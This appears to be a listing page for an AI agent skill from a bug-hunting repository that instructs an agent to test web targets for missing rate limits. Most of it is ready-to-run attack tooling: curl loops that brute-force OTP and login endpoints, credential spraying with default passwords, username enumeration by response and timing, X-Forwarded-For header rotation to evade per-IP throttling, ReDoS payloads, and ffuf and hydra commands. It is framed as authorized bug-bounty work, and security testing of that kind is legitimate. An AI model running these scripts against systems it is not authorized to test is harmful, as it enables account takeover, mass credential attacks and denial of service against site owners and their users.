Hunt Brute Force Skill for Claude

Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical).

4k tokens

context cost

the whole folder, loaded on every use

files

instructions only

copies elsewhere

how many repositories repackaged it

3280

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-brute-force

The instruction itself

14 sections, as written by the author

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

> Grounding note: this skill is built from published technique classes, not from a

> curated set of named HackerOne reports. report_count is intentionally 0 — do

> not cite an exact payout or report ID you cannot verify. Where a public case is

> well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation

> research, 2019–2021), it is named below as a *technique reference*, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

Autonomous Testing Priority

Work within your turn budget — prioritize signal over volume.

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

Strategy:

Identify the login endpoint and the expected parameter names (username/email, password).
Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
Use form-encoding for traditional login forms, JSON for REST API login endpoints.

What to look for as success:

Session token or JWT in the response body or Set-Cookie header
Redirect to authenticated dashboard
Response body that differs from the failed-login baseline

Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.

CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting

skill that only checks for 429/lockout produces false negatives. Classify the

defense BEFORE concluding, by sending a burst of ~50 requests and watching the

*full* response (status, body, headers, latency, and downstream success):

| State | Signal | Brute still feasible? |

|-------|--------|-----------------------|

| Hard account lockout | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |

| Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |

| CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |

| Silent shadow-throttle | 200/401 returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |

Shadow-throttle detector — inject a known-good value at a known position and

confirm it still works under load:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

Step-by-Step Hunting Methodology

# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

Phase 2 — OTP / 2FA Brute Force

# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

Phase 3 — Username / Email Enumeration (string AND status AND timing)

VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

Phase 4 — IP / Source Rotation Bypass

# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

Phase 5 — Token Entropy (measure it, don't eyeball it)

# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.

Phase 6 — ReDoS Detection

# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

Automation

# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

Chain Table

| Finding | Chain to | Impact |

|---------|----------|--------|

| No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical |

| Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical |

| No rate limit on login + enumeration | Credential stuffing with breach corpus | High |

| IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High |

| Predictable / low-entropy reset token | Token guess within validity window → ATO | High |

| ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High |

| Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium |

Validation — false-positive discipline

Before writing the report, each must hold:

OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of 429.

Shadow-throttle seed test passed (the known-good value still authenticates under burst load).

Latency and body-size were monitored, not only status code.

Full-keyspace claim: severity is justified by the *reachability math* (throughput × code-lifetime

vs 10^6), not by a 101-code probe. State the numbers in the report.

Enumeration: difference is reproducible across ≥20 samples and is a *server-state* difference

(valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…"

message is NOT enumeration). For timing, compare medians of many samples, never single requests.

IP-rotation bypass: proven by toggling rotation off and showing the 429 returns. The delta IS

the proof; one fast run alone is not.

Token entropy: backed by an actual measurement (Burp Sequencer effective-bits, ent, or a

demonstrated counter/timestamp structure), not "looks short".

ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)?

A rate-limit gap with no reachable impact is informational, not Medium.

Severity:

Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
No login rate limit + working credential-stuffing/IP-bypass: High
Predictable security token (measured low entropy): High
Username/email enumeration alone: Low–Medium
ReDoS with reproducible meaningful server lag: Medium–High
Attacker-triggerable hard lockout (account DoS): Medium

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How to use it

Copy the folder

Take elementalsouls/hunt-brute-force from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.

Hunt Brute Force Skill for Claude

Install

The instruction itself

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Crown Jewel Targets

Autonomous Testing Priority

CRITICAL: Four rate-limit states — do not collapse them

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)

Phase 2 — OTP / 2FA Brute Force

Phase 3 — Username / Email Enumeration (string AND status AND timing)

Phase 4 — IP / Source Rotation Bypass

Phase 5 — Token Entropy (measure it, don't eyeball it)

Phase 6 — ReDoS Detection

Automation

Chain Table

Validation — false-positive discipline

Other skills for the same job

How to use it